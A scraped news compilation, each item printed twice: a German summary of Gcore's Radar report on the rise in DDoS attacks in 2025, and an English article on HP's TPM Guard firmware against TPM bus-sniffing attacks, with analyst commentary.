Gcore Radar Laut dem halbjährlich erscheinenden Radar-Report des luxemburgischen Softwareanbieters Gcore haben sich die registrierten DDoS-Angriffe von Juli bis Dezember 2025 gegenüber dem ersten Halbjahr verdoppelt. Insgesamt zählte Gcore weltweit rund 2,25 Millionen DDoS-Angriffe im zweiten Halbjahr 2025 gegenüber etwa 1,17 Millionen im ersten Halbjahr. DDoS im Jahresvergleich Das summiert sich für 2025 auf insgesamt 3,42 Millionen Angriffe. Im Vorjahr 2024 registrierte der Softwareanbieter lediglich 1,8 Millionen Attacken. Ein Anstieg um 90 Prozent im Jahresvergleich. Die Volumina der Attacken haben ebenfalls zugelegt. So erreichten die Angriffe laut Gcore 2025 Spitzenwerte von bis zu 12 Tbit/s (Terabit pro Sekunde) während 2024 lediglich 2,2 Tbit/s verzeichnet wurden. Das entspricht einer Zunahme um zirka 550 Prozent. Gcore Radar Angriffsstruktur verändert sich Volumetrische Attacken auf Netzwerkebene fallen laut Gcore zunehmend kürzer und aggressiver aus. Insgesamt entfielen im zweiten Halbjahr 2025 82 Prozent aller Angriffe auf den Network Layer, etwa drei Viertel dieser Attacken dauerten weniger als eine Minute. Die meisten (84 Prozent) der Netzwerk-Attacken nutzen UDP-Floods, also DDoS-Angriffe mithilfe des User Datagram Protocol. Angriffe auf Anwendungsebene (18 Prozent aller Attacken) sind dagegen gezielter und langwieriger. Etwa die Hälfte dauerte zwischen zehn und 30 Minuten, acht Prozent sogar über eine Stunde. Diese Angriffe zielen laut Gcore verstärkt auf geschäftskritische Funktionen wie Programmierschnittstellen (APIs), Authentifizierungsprozesse oder Backend-Systeme und verwenden automatisierte Bots, um gezielt Geschäftslogiken auszunutzen. Tech-Unternehmen in Visier Zu den Opfern der Attacken zählten im zweiten Halbjahr 2025 vor allem Technologieunternehmen (34 Prozent). Darauf folgten Finanzdienstleister (20 Prozent) und Gaming-Unternehmen (19 Prozent). Auf Netzwerkebene stammten 75 Prozent des von Gcore beobachteten Angriffs-Traffics aus Nord- und Südamerika. Insbesondere Mexiko, Brasilien und die USA stachen heraus. Application-Layer-Angriffe waren dagegen global breiter verteilt und wurden unter anderem auch in Deutschland registriert. View the full article

Gcore Radar Laut dem halbjährlich erscheinenden Radar-Report des luxemburgischen Softwareanbieters Gcore haben sich die registrierten DDoS-Angriffe von Juli bis Dezember 2025 gegenüber dem ersten Halbjahr verdoppelt. Insgesamt zählte Gcore weltweit rund 2,25 Millionen DDoS-Angriffe im zweiten Halbjahr 2025 gegenüber etwa 1,17 Millionen im ersten Halbjahr. DDoS im Jahresvergleich Das summiert sich für 2025 auf insgesamt 3,42 Millionen Angriffe. Im Vorjahr 2024 registrierte der Softwareanbieter lediglich 1,8 Millionen Attacken. Ein Anstieg um 90 Prozent im Jahresvergleich. Die Volumina der Attacken haben ebenfalls zugelegt. So erreichten die Angriffe laut Gcore 2025 Spitzenwerte von bis zu 12 Tbit/s (Terabit pro Sekunde) während 2024 lediglich 2,2 Tbit/s verzeichnet wurden. Das entspricht einer Zunahme um zirka 550 Prozent. Gcore Radar Angriffsstruktur verändert sich Volumetrische Attacken auf Netzwerkebene fallen laut Gcore zunehmend kürzer und aggressiver aus. Insgesamt entfielen im zweiten Halbjahr 2025 82 Prozent aller Angriffe auf den Network Layer, etwa drei Viertel dieser Attacken dauerten weniger als eine Minute. Die meisten (84 Prozent) der Netzwerk-Attacken nutzen UDP-Floods, also DDoS-Angriffe mithilfe des User Datagram Protocol. Angriffe auf Anwendungsebene (18 Prozent aller Attacken) sind dagegen gezielter und langwieriger. Etwa die Hälfte dauerte zwischen zehn und 30 Minuten, acht Prozent sogar über eine Stunde. Diese Angriffe zielen laut Gcore verstärkt auf geschäftskritische Funktionen wie Programmierschnittstellen (APIs), Authentifizierungsprozesse oder Backend-Systeme und verwenden automatisierte Bots, um gezielt Geschäftslogiken auszunutzen. Tech-Unternehmen in Visier Zu den Opfern der Attacken zählten im zweiten Halbjahr 2025 vor allem Technologieunternehmen (34 Prozent). Darauf folgten Finanzdienstleister (20 Prozent) und Gaming-Unternehmen (19 Prozent). Auf Netzwerkebene stammten 75 Prozent des von Gcore beobachteten Angriffs-Traffics aus Nord- und Südamerika. Insbesondere Mexiko, Brasilien und die USA stachen heraus. Application-Layer-Angriffe waren dagegen global breiter verteilt und wurden unter anderem auch in Deutschland registriert. View the full article

The Trusted Platform Module (TPM), developed by the Trusted Computing Group (TCG), is a mandatory security component in any computer running Windows 11. It stores sensitive information such as encryption keys in a separate, secure chip, passing it to the CPU as required. However, there’s a problem. If an attacker can get physical access to the device, they can use hardware costing less than $20, running readily available software, to grab those encryption keys as they are sent to the CPU, allowing data on the system to be readily decrypted by the attacker and stolen. At its Imagine event this week, HP announced a product that it says prevents this kind of attack without the need to make changes to device encryption software such as BitLocker. TPM Guard is a combination of hardware and firmware that creates an authenticated and encrypted tunnel between the TPM and the CPU to protect the communication between them, said Ian Pratt, HP’s vice president of security and commercial systems. The TPM is cryptographically bound to the host processor so if the chip is removed from the system, the TPM will cease to function. “This isn’t just about espionage agents sneaking into hotel rooms of executives while they’re out at dinner,” he said during a media briefing. “Many laptops get stolen every day, and if a laptop is owned by an enterprise, there’s potentially a lot more value to the data it contains than the resale value of the device itself. And hence, opportunity for that device to work its way through the black market to a crime group that is capable of extracting the data and monetizing it, perhaps using the credentials it contains to gain access to enterprise systems or threatening to leak customer data.” Most companies today rely on BitLocker to encrypt that data, but the TPM issue can negate that protection, putting organizations at risk. TPM can prevent a whole class of bus interception and interposition attacks, Pratt said. HP wants the technology behind it to become an industry standard, and has already submitted a proposal to the TCG, he said. Starting in July, TPM Guard will be available as a firmware update at no additional charge on “selected” HP G2 commercial PCs, and will be built in to supported PCs in the future. Structurally significant “HP TPM Guard is arguably the most structurally significant announcement [at HP Imagine] for enterprise, government, and high-compliance customers,” said Anurag Agrawal, chief global analyst at Techaisle. “From an architectural standpoint, it closes a massive physical edge loophole.” It’s “a brilliant maneuver” against Microsoft’s Pluton architecture, Agrawal said, noting that Pluton eliminates the bus by putting security directly on the CPU die, while TPM Guard gives highly regulated customers the physical security of Pluton without forcing them to abandon their preferred TCG-certified discrete TPMs. HP’s proposal of TPM Guard to the Trusted Computing Group (TCG) as a new industry standard “creates immediate security debt for HP’s rivals,” he said. “By positioning TPM Guard as the first and only solution to this physical bus attack, HP is implicitly stating that the existing ‘secure’ fleets from competitors like Dell and Lenovo carry a known, exploitable vulnerability, giving HP and its channel partners a highly aggressive wedge issue to force early device refresh cycles,” he said. TPM hasn’t been significantly updated for some time, making HP’s TPM Guard all the more important, said Rob Enderle, principal analyst at Enderle Group. “In the face of rising threats, it is always important to reinvest in defense, and that is what they are doing here.” View the full article

The Trusted Platform Module (TPM), developed by the Trusted Computing Group (TCG), is a mandatory security component in any computer running Windows 11. It stores sensitive information such as encryption keys in a separate, secure chip, passing it to the CPU as required. However, there’s a problem. If an attacker can get physical access to the device, they can use hardware costing less than $20, running readily available software, to grab those encryption keys as they are sent to the CPU, allowing data on the system to be readily decrypted by the attacker and stolen. At its Imagine event this week, HP announced a product that it says prevents this kind of attack without the need to make changes to device encryption software such as BitLocker. TPM Guard is a combination of hardware and firmware that creates an authenticated and encrypted tunnel between the TPM and the CPU to protect the communication between them, said Ian Pratt, HP’s vice president of security and commercial systems. The TPM is cryptographically bound to the host processor so if the chip is removed from the system, the TPM will cease to function. “This isn’t just about espionage agents sneaking into hotel rooms of executives while they’re out at dinner,” he said during a media briefing. “Many laptops get stolen every day, and if a laptop is owned by an enterprise, there’s potentially a lot more value to the data it contains than the resale value of the device itself. And hence, opportunity for that device to work its way through the black market to a crime group that is capable of extracting the data and monetizing it, perhaps using the credentials it contains to gain access to enterprise systems or threatening to leak customer data.” Most companies today rely on BitLocker to encrypt that data, but the TPM issue can negate that protection, putting organizations at risk. TPM Guard can prevent a whole class of bus interception and interposition attacks, Pratt said. HP wants the technology behind it to become an industry standard, and has already submitted a proposal to the TCG, he said. Starting in July, TPM Guard will be available as a firmware update at no additional charge on “selected” HP G2 commercial PCs, and will be built in to supported PCs in the future. Structurally significant “HP TPM Guard is arguably the most structurally significant announcement [at HP Imagine] for enterprise, government, and high-compliance customers,” said Anurag Agrawal, chief global analyst at Techaisle. “From an architectural standpoint, it closes a massive physical edge loophole.” It’s “a brilliant maneuver” against Microsoft’s Pluton architecture, Agrawal said, noting that Pluton eliminates the bus by putting security directly on the CPU die, while TPM Guard gives highly regulated customers the physical security of Pluton without forcing them to abandon their preferred TCG-certified discrete TPMs. HP’s proposal of TPM Guard to the Trusted Computing Group (TCG) as a new industry standard “creates immediate security debt for HP’s rivals,” he said. “By positioning TPM Guard as the first and only solution to this physical bus attack, HP is implicitly stating that the existing ‘secure’ fleets from competitors like Dell and Lenovo carry a known, exploitable vulnerability, giving HP and its channel partners a highly aggressive wedge issue to force early device refresh cycles,” he said. TPM hasn’t been significantly updated for some time, making HP’s TPM Guard all the more important, said Rob Enderle, principal analyst at Enderle Group. “In the face of rising threats, it is always important to reinvest in defense, and that is what they are doing here.” View the full article